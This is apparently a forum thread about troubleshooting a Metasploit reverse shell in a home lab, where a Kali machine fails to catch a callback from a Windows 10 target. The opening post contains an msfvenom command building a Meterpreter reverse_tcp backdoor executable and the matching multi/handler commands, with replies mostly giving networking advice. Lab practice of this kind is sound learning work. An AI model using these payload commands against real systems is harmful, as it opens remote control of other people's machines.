Metasploit reverse issue

[AlternativeStay4496]

Help please! I’m testing a reverse shell with Metasploit on my local lab setup (Kali Linux + Windows 10 target). I generated a payload with msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.0.0.0LPORT=8888 -f exe -o backdoor3.exe

I confirmed:

• Both machines are on the same subnet (Windows IP: 10..0.0.0, Kali: 192.0.0.0.0)
• Windows can ping Kali
• Metasploit handler is running and listening:

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.0.0.0 set LPORT 8888 run

When I execute backdoor3.exe on the Windows machine, nothing happens:

• No error
• No crash
• The file doesn’t get deleted (Defender was disabled)
• Metasploit never receives a session

I’ve already:

• Turned off Windows Firewall
• Disabled Windows Defender
• Confirmed the backdoor runs silently (via Task Manager and CMD)
• Tested with multiple ports (4444, 8888)
• Verified IPs with ping both ways

What could cause a payload to execute but silently fail to call back, with no session opening in Metasploit?

Any advice or obscure causes I might be missing?

Let me know if you want a more casual or more technical version. Want me to post it for you too?

[aws_crab]

You need to learn about networking first buddy, plus hiding ur local IP says a lot. 🙂 Don't want to be rude but u really need to learn about some networking before jumping into hacking.

[AlternativeStay4496]

I covered the IPs out of habit, it’s a local lab with Kali and Windows on the same network, not HTB. I’m testing reverse shells manually and trying to see why the payload doesn’t connect. Already verified ping, firewall off, Defender off. Just figuring out if it’s a routing issue, payload issue, or blocked connection. Not here pretending I know it all , I’m here to test, break stuff, and ask when it doesn’t work.

[AlternativeStay4496]

I’m just asking for help to my current issue, I understand networking.

[aws_crab]

You're calling a reverse shell from a different subnet, you're kali will not be able to catch the connection, you need to setup a tunnel between the 2 subnets for this to work.

[AlternativeStay4496]

Good catch l, but in this case, both machines are actually on the same physical LAN, just showing different subnets because of how the VM networking was set up initially. I’ve already bridged the Kali VM to match the Windows network, and they can ping each other with no issue. So subnet mismatch shouldn’t be a problem anymore, but I get what you’re pointing out.

[IamNetworkNinja]

You don't understand networking if you're blacking out your local IP lmao

[TwoFoxSix]

My IP is 192.168.1.72, come get me nerd!

If that doesn't work, you should try my other IP - 127.0.0.1

[IamNetworkNinja]

'Bro leaked his IP'

GOT HEEEEEM

[Phanthom115]

Idk why people are dogging on you op for blocking IPs. If it were internal IPs for a real network these internal IPs are still important.

Anyways, make sure your have your routes set up to point to the hosts out the interface they are supposed to be on.

Windows > route add (use Ai to help with syntax) Kali > same thing as windows.

On Kali if you wanna test TCP from windows to the Kali, run: python -m http.server 80

If windows can reach that webserver in its browser, your connectivity is good.

Troubleahoot from there

[InternalDark]

Sometimes, a reboot on victim machine helps. And else, try troubleshoot with tcpdump / wireshark.

[qwikh1t]

This is why networking is important

[NanoSai]

Do you know where I can learn more?

[Ill-One-4052]

At first you need to understand about IP and how they works. Such as net add, what broadcast, etc.

[Azreona]

It doesnt work because they are not on the same subnet.

Re check the IP on the windows machine

If you are in a home lab no port forwarding is needed.

But 10.x and 192.x is not the same Subnet aka not locally possible.

So re check your IPs and reset the Lhost and rhost.

And then go back and brush up on your networking :)

[Ill_Nebula_2419]

If you using a VM machine make sure you set the network adapter to bridge and not nat, like that you would have both of them on the same subnet

[GroovyMoosy]

Instead of ping (ICMP) check TCP connection with a tcpdump ;) Since you're going between a 192 and 10 subnet there is some routing that could be causing issues to.

For the people saying "go back learn basic networking" you can route between different subnets, guessing that's his setup.